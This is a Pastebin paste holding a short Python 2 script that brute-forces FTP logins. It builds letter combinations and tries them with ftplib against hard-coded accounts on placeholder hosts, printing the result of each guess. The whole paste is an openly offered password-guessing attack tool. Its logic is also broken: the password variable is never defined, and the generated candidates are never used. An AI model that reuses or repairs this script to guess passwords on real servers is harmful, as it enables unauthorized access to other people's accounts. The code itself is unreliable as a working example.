Advertisement
Transformator

python001

Oct 15th, 2014
277
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.39 KB | None | 0 0
  1. #!/usr/bin/python
  2. import ftplib
  3. import random
  4.  
  5. #def genLetter(letters):
  6. #  return letters[random.randint(0,len(letters)-1)]
  7.  
  8. #def genPassword(length,letters):
  9. #  password = ""
  10. #  if(length == "-"):
  11. #    length = random.randint(1,9)
  12. #  for i in range(length):
  13. #    password += genLetter(letters)
  14. #  return password
  15.  
  16. def genPassword(letters):
  17.   for current in xrange(10):
  18.     a = [i for i in letters]
  19.     for y in xrange(current):
  20.         a = [x+i for i in letters for x in a]
  21.  
  22. def setupConnection(host):
  23.   ftp = ftplib.FTP(host)
  24.   if(not ftp):
  25.     print("NO CONNECTION TO " + host)
  26.     ftp = setupConnection(host)
  27.   return ftp
  28.  
  29. def brute_force_for(username,letters,host):
  30.   do = 1
  31.   letters = list(letters)
  32.   for current in xrange(1000000):
  33.     if(do == 1):
  34.       a = [i for i in letters]
  35.       for y in xrange(current):
  36.         a = [x+i for i in letters for x in a]
  37.  
  38.   ftp = setupConnection(host)
  39.   try:
  40.     work = ftp.login(username, password)
  41.   except:
  42.     work = 0
  43.   if(work != 0):
  44.     print("TRY FOR " + username + " WITH " + password + " - TRUE")
  45.     do = 0
  46.   else:
  47.     print("TRY FOR " + username + " WITH " + password + " - FALSE")
  48.  
  49. brute_force_for("account1", "abcdefghijklmnopqrstuvwxyz", "host1")
  50. brute_force_for("account2", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "host2")
  51. brute_force_for("account3", "abcdefghijklmnopqrstuvwxyz1234567890", "host3")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement